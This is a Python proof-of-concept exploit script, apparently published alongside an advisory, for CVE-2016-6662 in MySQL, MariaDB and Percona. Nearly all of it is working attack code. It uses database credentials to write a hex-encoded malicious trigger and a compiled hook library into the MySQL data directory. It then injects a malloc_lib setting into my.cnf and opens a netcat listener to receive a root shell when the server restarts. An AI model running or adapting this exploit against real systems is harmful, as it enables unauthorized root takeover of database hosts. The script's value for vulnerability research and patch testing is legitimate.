1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248 | #!/usr/bin/python
#
# MySQL / MariaDB / Percona - Remote Root Code Execution / PrivEsc PoC Exploit
# (CVE-2016-6662)
# 0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
#
# For testing purposes only. Do no harm.
#
# Discovered/Coded by:
#
# Dawid Golunski
# http://legalhackers.com
#
#
# This is a limited version of the PoC exploit. It only allows appending to
# existing mysql config files with weak permissions. See V) 1) section of
# the advisory for details on this vector.
#
# Full PoC will be released at a later date, and will show how attackers could
# exploit the vulnerability on default installations of MySQL on systems with no
# writable my.cnf config files available.
#
# The upcoming advisory CVE-2016-6663 will also make the exploitation trivial
# for certain low-privileged attackers that do not have FILE privilege.
#
# See full advisory for details:
# https://legalhackers.com/advisories/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
#
# Video PoC:
# https://legalhackers.com/videos/MySQL-Exploit-Remote-Root-Code-Execution-Privesc-CVE-2016-6662.html
#
#
# Follow: https://twitter.com/dawid_golunski
# &
# Stay tuned ;)
#
intro = """
0ldSQL_MySQL_RCE_exploit.py (ver. 1.0)
(CVE-2016-6662) MySQL Remote Root Code Execution / Privesc PoC Exploit
For testing purposes only. Do no harm.
Discovered/Coded by:
Dawid Golunski
http://legalhackers.com
"""
import argparse
import mysql.connector
import binascii
import subprocess
def info(str):
print "[+] " + str + "\n"
def errmsg(str):
print "[!] " + str + "\n"
def shutdown(code):
if (code==0):
info("Exiting (code: %d)\n" % code)
else:
errmsg("Exiting (code: %d)\n" % code)
exit(code)
cmd = "rm -f /var/lib/mysql/pocdb/poctable.TRG ; rm -f /var/lib/mysql/mysql_hookandroot_lib.so"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
# where will the library to be preloaded reside? /tmp might get emptied on reboot
# /var/lib/mysql is safer option (and mysql can definitely write in there ;)
malloc_lib_path='/var/lib/mysql/mysql_hookandroot_lib.so'
# Main Meat
print intro
# Parse input args
parser = argparse.ArgumentParser(prog='0ldSQL_MySQL_RCE_exploit.py', description='PoC for MySQL Remote Root Code Execution / Privesc CVE-2016-6662')
parser.add_argument('-dbuser', dest='TARGET_USER', required=True, help='MySQL username')
parser.add_argument('-dbpass', dest='TARGET_PASS', required=True, help='MySQL password')
parser.add_argument('-dbname', dest='TARGET_DB', required=True, help='Remote MySQL database name')
parser.add_argument('-dbhost', dest='TARGET_HOST', required=True, help='Remote MySQL host')
parser.add_argument('-mycnf', dest='TARGET_MYCNF', required=True, help='Remote my.cnf owned by mysql user')
args = parser.parse_args()
# Connect to database. Provide a user with CREATE TABLE, SELECT and FILE permissions
# CREATE requirement could be bypassed (malicious trigger could be attached to existing tables)
info("Connecting to target server %s and target mysql account '%s@%s' using DB '%s'" % (args.TARGET_HOST, args.TARGET_USER, args.TARGET_HOST, args.TARGET_DB))
try:
dbconn = mysql.connector.connect(user=args.TARGET_USER, password=args.TARGET_PASS, database=args.TARGET_DB, host=args.TARGET_HOST)
except mysql.connector.Error as err:
errmsg("Failed to connect to the target: {}".format(err))
shutdown(1)
try:
cursor = dbconn.cursor()
cursor.execute("SHOW GRANTS")
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
privs = cursor.fetchall()
info("The account in use has the following grants/perms: " )
for priv in privs:
print priv[0]
print ""
# Compile mysql_hookandroot_lib.so shared library that will eventually hook to the mysqld
# process execution and run our code (Remote Root Shell)
# Remember to match the architecture of the target (not your machine!) otherwise the library
# will not load properly on the target.
info("Compiling mysql_hookandroot_lib.so")
cmd = "gcc -Wall -fPIC -shared -o mysql_hookandroot_lib.so mysql_hookandroot_lib.c -ldl"
process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(result, error) = process.communicate()
rc = process.wait()
if rc != 0:
errmsg("Failed to compile mysql_hookandroot_lib.so: %s" % cmd)
print error
shutdown(2)
# Load mysql_hookandroot_lib.so library and encode it into HEX
info("Converting mysql_hookandroot_lib.so into HEX")
hookandrootlib_path = './mysql_hookandroot_lib.so'
with open(hookandrootlib_path, 'rb') as f:
content = f.read()
hookandrootlib_hex = binascii.hexlify(content)
# Trigger payload that will elevate user privileges and sucessfully execute SET GLOBAL GENERAL_LOG
# in spite of the lack of SUPER/admin privileges (attacker only needs SELECT/FILE privileges).
# Decoded payload (paths may differ) will look similar to:
"""
DELIMITER //
CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf
AFTER INSERT
ON `poctable` FOR EACH ROW
BEGIN
DECLARE void varchar(550);
set global general_log_file='/var/lib/mysql/my.cnf';
set global general_log = on;
select "
# 0ldSQL_MySQL_RCE_exploit got here :)
[mysqld]
malloc_lib='/var/lib/mysql/mysql_hookandroot_lib.so'
[abyss]
" INTO void;
set global general_log = off;
END; //
DELIMITER ;
"""
trigger_payload="""TYPE=TRIGGERS
triggers='CREATE DEFINER=`root`@`localhost` TRIGGER appendToConf\\nAFTER INSERT\\n ON `poctable` FOR EACH ROW\\nBEGIN\\n\\n DECLARE void varchar(550);\\n set global general_log_file=\\'%s\\';\\n set global general_log = on;\\n select "\\n\\n# 0ldSQL_MySQL_RCE_exploit got here :)\\n\\n[mysqld]\\nmalloc_lib=\\'%s\\'\\n\\n[abyss]\\n" INTO void; \\n set global general_log = off;\\n\\nEND'
sql_modes=0
definers='root@localhost'
client_cs_names='utf8'
connection_cl_names='utf8_general_ci'
db_cl_names='latin1_swedish_ci'
""" % (args.TARGET_MYCNF, malloc_lib_path)
# Convert trigger into HEX to pass it to unhex() SQL function
trigger_payload_hex = "".join("{:02x}".format(ord(c)) for c in trigger_payload)
# Save trigger into a trigger file
TRG_path="/var/lib/mysql/%s/poctable.TRG" % args.TARGET_DB
info("Saving trigger payload into %s" % (TRG_path))
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (trigger_payload_hex, TRG_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(4)
# Save library into a trigger file
info("Dumping shared library into %s file on the target" % malloc_lib_path)
try:
cursor = dbconn.cursor()
cursor.execute("""SELECT unhex("%s") INTO DUMPFILE '%s' """ % (hookandrootlib_hex, malloc_lib_path) )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(5)
# Creating table poctable so that /var/lib/mysql/pocdb/poctable.TRG trigger gets loaded by the server
info("Creating table 'poctable' so that injected 'poctable.TRG' trigger gets loaded")
try:
cursor = dbconn.cursor()
cursor.execute("CREATE TABLE `poctable` (line varchar(600)) ENGINE='MyISAM'" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Finally, execute the trigger's payload by inserting anything into `poctable`.
# The payload will write to the mysql config file at this point.
info("Inserting data to `poctable` in order to execute the trigger and write data to the target mysql config %s" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("INSERT INTO `poctable` VALUES('execute the trigger!');" )
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(6)
# Check on the config that was just created
info("Showing the contents of %s config to verify that our setting (malloc_lib) got injected" % args.TARGET_MYCNF )
try:
cursor = dbconn.cursor()
cursor.execute("SELECT load_file('%s')" % args.TARGET_MYCNF)
except mysql.connector.Error as err:
errmsg("Something went wrong: {}".format(err))
shutdown(2)
finally:
dbconn.close() # Close DB connection
print ""
myconfig = cursor.fetchall()
print myconfig[0][0]
info("Looks messy? Have no fear, the preloaded lib mysql_hookandroot_lib.so will clean up all the mess before mysqld daemon even reads it :)")
# Spawn a Shell listener using netcat on 6033 (inverted 3306 mysql port so easy to remember ;)
info("Everything is set up and ready. Spawning netcat listener and waiting for MySQL daemon to get restarted to get our rootshell... :)" )
listener = subprocess.Popen(args=["/bin/nc", "-lvp","6033"])
listener.communicate()
print ""
# Show config again after all the action is done
info("Shell closed. Hope you had fun. ")
# Mission complete, but just for now... Stay tuned :)
info("""Stay tuned for the CVE-2016-6663 advisory and/or a complete PoC that can craft a new valid my.cnf (i.e no writable my.cnf required) ;)""")
# Shutdown
shutdown(0)
|